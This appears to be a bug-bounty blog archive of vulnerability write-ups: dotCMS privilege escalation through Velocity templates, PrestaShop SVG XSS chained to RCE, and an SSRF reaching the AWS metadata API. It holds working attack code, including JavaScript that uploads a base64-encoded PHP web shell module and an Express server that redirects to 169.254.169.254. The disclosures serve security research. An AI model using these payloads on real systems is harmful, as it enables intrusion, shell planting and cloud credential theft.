Sunday, December 26, 2021

Exploiting Velocity Template in dotCMS v21.11 - Full Privilege Escalation

First of all, I'm not a native english speaker, sorry for any mistake I made here.

Hello everyone, this blog post is about a full privilege escalation I got in dotCMS by abusing the velocity engine.

This flaw as reported to the dotCMS team over huntr and is now fixed.

Original report

dotCMS template editing

dotCMS allow us with a little permission level to edit templates to our pages, and as I said, it uses the Velocity engine.


Attacker mindset

The RCE payload for Velocity only works in older versions, so in this case is not possible.

So what we can do with Velocity?

- We can inspect the toolbox.xml file and search for classes that we have access, normally only the velocity classes are detailed, but in some cases, custom classes are also available and can lead to more advanced attacks. (Velocity tools)

- We can also grep for context.put, this method allow the velocity engine to access a specified object, some objects can lead to better opportunities

Context example by velocity docs

import java.io.StringWriter;
import org.apache.velocity.VelocityContext;
import org.apache.velocity.Template;
import org.apache.velocity.app.Velocity;
import org.apache.velocity.exception.ResourceNotFoundException;
import org.apache.velocity.exception.ParseErrorException;
import org.apache.velocity.exception.MethodInvocationException;

Velocity.init();

VelocityContext context = new VelocityContext();

context.put( "name", new String("Velocity") );

Template template = null;

try
{
  template = Velocity.getTemplate("mytemplate.vm");
}
catch( ResourceNotFoundException rnfe )
{
  // couldn't find the template
}
catch( ParseErrorException pee )
{
  // syntax error: problem parsing the template
}
catch( MethodInvocationException mie )
{
  // something invoked in the template
  // threw an exception
}
catch( Exception e )
{}

StringWriter sw = new StringWriter();

template.merge( context, sw );

Searching for context.put

By just using grep we can find a loot of code that call context.put



One interesting usage is in the file ./src/main/java/com/dotcms/rendering/velocity/util/VelocityUtil.java, here in line 390 we see that context.put is used in an object called 'user'. So by definition we can access the user object, lets try something.


Calling user methods

Before reading the user class to search for methods, lets try a simple test. To use the user object in the template editing, we need to call it by the name "user" (defined at first argument in the context.put call), we can try just to use a simple default method like toString and see if it works


Result:


As we can see, the method seems to work. Now lets see what interesting methods we have in the User class (src\main\java\com\liferay\portal\model\User.java)

The User class

One thing interesting to notice is that we are not tied only to this class, but we can also access  a superclass


In this case we can also call methods defined in the UserModel class (src\main\java\com\liferay\portal\model\UserModel.java)

So what we can do with full control over methods call in the user Object? We can go to a full privilege escalation.

Abusing the set's methods

If you are a little familiar with OOP you may now about getters and setters, these are methods used to retrieve/change variables in a object. We are especially interested in the 'change' part

Side note: The changes we made over direct methods call are not saved in the database, but are tied to our session, so in this case we can 'change' some variables just as we stay logged

setUserId method

In the UserModel class, line 211, theres a method call setUserId. The interesting part about the user id, is that our privilege level is tied to it, so if we alter our id to a high user id we can get the same level of privilege that this high user have.


If we look at the database for the user ids we see some default one's


For example 'system', this one is a default user that have a lot of privileges. So if we call setUserId("system"), we may have a privilege escalation here

Exploitation

Template

By just opening the template page to view the result, and reloading the same page we now have full privilege


Video PoC








Sunday, June 20, 2021

(dup) Unpatched Prestashop low priv XSS to RCE

Hi guys, I'am here to disclosure a vulnerability I found on prestashop, they said is hard to patch so they dont patched. The flaw is just a low-privilege auth XSS, but as prestashop allows SuperAdmins to load modules and themes, it's possible to get an RCE if we target this type of user.

Why Iam posting this?

Its more a study case, I Am currently studying to AWAE, and one o topics I see a lot on internet is about XSS to RCE, so I decide to give a try on some CMS's.

I try contact with prestashop team, and they said they accept this kind of "security issue", they also said is the same as allow SuperAdmins to upload .php files and get RCE, so they dont plan to fix this. I try to argue, but they relly dont believe this is a security issue.

Again, I'm not here to blame anyone, I really understand their side. I'm just demonstrating the "failure" and how you can disable the function that causes it if you don't use it.

The XSS

The XSS if pretty easy to spot, to exploit, we will use a user called salesman, he have the privilege to create products and reply to orders (Salesman can't get a RCE, he have no privilege to upload .php files).

This is my team on prestashop:


Step by Step to get a XSS

1 - Access the products tab under Catalog


2 - Select any product you want and go to insert/edit images


3 - In source you have the ability to upload SVG files


4 - The files you upload here are visible in /img/cms


5 - Just upload your best SVG XSS payload and access it in http://prestashop.local/img/cms/XSS.svg


How to get a RCE

Heres a javascript code that can upload a shell in http://your.prestashop.local/modules/shell/shell.php


const admin_url= "http://localhost/prestashop/admin386mdqdn3/";//Modify only this line

var token1;
var token2;
const content_type = "application/x-zip-compressed";
const shellb64 = "UEsDBAoAAAAAACyRzlIAAAAAAAAAAAAAAAAGAAAAc2hlbGwvUEsDBBQ"
shellb64 += "AAAAIAEuTzlJAl6iYVQAAAGsAAAAPAAAAc2hlbGwvc2hlbGwucGhws7EvyCjg5dLX0uLlUtB"
shellb64 += "SABMOiaUlGflFCkCQbFJmUmSQBxIGYX1eLl6uzDSNzOLi1BINlXh315Bo9eTcFPVYTU1ermq"
shellb64 += "gEiAoriwuSc1FlbXm5aoFAFBLAQIfAAoAAAAAACyRzlIAAAAAAAAAAAAAAAAGACQAAAAAAAA"
shellb64 += "AEAAAAAAAAABzaGVsbC8KACAAAAAAAAEAGACfgM+NYWHXAZ+Az41hYdcBL4QHi2Fh1wFQSwE"
shellb64 += "CHwAUAAAACABLk85SQJeomFUAAABrAAAADwAkAAAAAAAAACAAAAAkAAAAc2hlbGwvc2hlbGw"
shellb64 += "ucGhwCgAgAAAAAAABABgAMtw67GNh1wEy3DrsY2HXAZjcpxxhYdcBUEsFBgAAAAACAAIAuQA"
shellb64 += "AAKYAAAAAAA==";
const blob = base64toBlob(shellb64content_type);


/* Kudos to Nolan from www.dubget.com for this function */
function base64toBlob(base64DatacontentType) {
  contentType = contentType || '';
  var sliceSize = 1024;
  var byteCharacters = atob(base64Data);
  var bytesLength = byteCharacters.length;
  var slicesCount = Math.ceil(bytesLength / sliceSize);
  var byteArrays = new Array(slicesCount);

  for (var sliceIndex = 0sliceIndex < slicesCount; ++sliceIndex) {
      var begin = sliceIndex * sliceSize;
      var end = Math.min(begin + sliceSizebytesLength);

      var bytes = new Array(end - begin);
      for (var offset = begini = 0offset < end; ++i, ++offset) {
          bytes[i] = byteCharacters[offset].charCodeAt(0);
      }
      byteArrays[sliceIndex] = new Uint8Array(bytes);
  }
  return new Blob(byteArrays, { type: contentType });
}

function reqListener () {
  res1 = this.responseText;
  console.log(res1);
  token1 = res1.match(/_token=[a-zA-Z0-9\-]*/);
  console.log(token1);
};

var oReq = new XMLHttpRequest();
oReq.onload = reqListener;
oReq.open("get"admin_url + "index.php/improve/modules/manage"true);
oReq.send();

setTimeout(function() {
  var formData = new FormData();
  formData.append('file_uploaded'blob'shell.zip');

  var oReq3 = new XMLHttpRequest();
  oReq3.open("post"admin_url + "index.php/improve/modules/import?" + token1[0], true);
  oReq3.send(formData); 
}, 3000);







Videos

Some PoCs showing how we (as a salesman user) can upload a malicious SVG file that when opened by a SuperAdmin trigger a interesting behavior

Priv esc PoC:


RCE PoC:

How to disable SVG files

If you believe you dont need SVG files to be upload by this function on your server, heres how to disable it

1 - open the file: prestashop/[Admin]/filemanager/config/config.php
2 - Line 106, remove 'svg' from the array $ext_img


If you try to upload any svg file, the application will denied it



If you want, you can also remove the mime type in line 117, from the array called $mime_img

Email's I send to prestashop team









Its a dup lol

After writing this article (before posting), I contacted prestashop again and asked for permission to post this article, they said someone has already done an article about it, so this is the original:

https://stazot.com/prestashop-csrf-to-rce-article/

A awesome work from @sivaneshashok

Sunday, May 16, 2021

SSRF to AWS API - HTTP/Image Rebinding??

Hello guys, I am here to write about one of my favorites founds on a Bug Bounty program, a SSRF that allow me to reach the AWS internal API (aka: 169.254.169.254).

PS: This post is a translation of my original post I made in Portuguese a few months ago, sorry if something is grammatically wrong, English is not my first language

The Site

The site itself has quite simple, its basically a windows Paint but with steroids, you can upload images and play with it.

The Flaw

While testing the upload image function I notice that is possible to choose an image from flicker.com and use it on my project, so using BurpSuite I try to debug this functionality and notice that the request is not that restrictive.


As you guys can see is possible to completely control the URL parameter, and not necessary I need to use flicker.com

So, the first thing I try is to change the URL parameter to point to my VPS, I get a request on my server (using python3 http.server) but the response I got from the original request was just a generic error message talking “only imagens allowed”. I upload an image on my VPS and just try again, but this time a pass the URL to the image (http://my.vps/image.png).

To my surprise a got two requests to /image.png, at first this went unnoticed, but when I notice I think “When I point to my server without a valid image, I just got one request with leads to an error message, but with a valid image I got two requests. Maybe I can try something like DNS rebind but with HTTP”. For those unfamiliar, DNS rebinding is a technique to circumvent SSRF protections, because the vulnerable application performs two DNS requests before the HTTP request, the first is used to validate a filter, for example blocking if the DNS resolves 127.0.0.1, as the server will make a second DNS request to fetch the contents of the page later, only the first resolution cannot point to 127.0.0.1 but the second (and more important) can.

I can try something like this, but with HTTP instead of DNS, so I write a simple NodeJS server with express, the code is the following:

const express = require('express')
const app = express()

var c = 2

app.get('/', (req, res) => {
    console.log(req.rawHeaders)
    if(c % 2 === 0)
     {
           c++
           return res.sendFile(__dirname + '/static/tunnel.jpg') //my jpg file
      }
      return res.redirect("http://169.254.169.254/latest/dynamic/instance-identity/document")
})

Basically, the server will respond the first request with a valid image and the second request with a redirect to the AWS API. To my happiness the code works in the first try.


And I won a bounty.



Using a feature to takeover your account - Hacking an SSO implementation

This week, I found a super cool bug that allowed me to steal any account in the vulnerable application. The target was a private bug bounty ...